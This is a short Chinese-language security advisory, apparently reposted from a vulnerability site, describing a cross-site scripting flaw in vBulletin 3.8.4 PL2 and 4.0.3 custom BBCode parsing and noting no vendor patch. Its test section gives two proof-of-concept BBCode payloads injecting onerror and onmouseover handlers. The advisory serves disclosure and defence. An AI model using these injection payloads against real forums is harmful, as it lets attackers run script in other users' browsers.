受影响系统:
VBulletin VBulletin 4.0.3
VBulletin VBulletin 3.8.4 PL2
描述:
vBulletin是一款开放源代码的PHP论坛程序。
vBulletin在创建使用自定义标签的内容时没有正确地解析BBCode,这允许攻击者注入任意HTML和脚本代码,当查看恶意数据时就会在用户浏览器会话中执行所注入的代码。
<*来源:MaXe
链接:http://secunia.com/advisories/39662/
http://forum.intern0t.net/intern0t-advisories/2528-vbulletin-3-8-4-pl2-4-0-3-pl1-insecure-custom-bbcode.html
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负![BadTag]x:x’ onerror=alert(0) foo='[/BadTag]
[BadTag2=fail onmouseover=alert(0)]Link[/BadTag2]
建议:
厂商补丁:
VBulletin
———
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。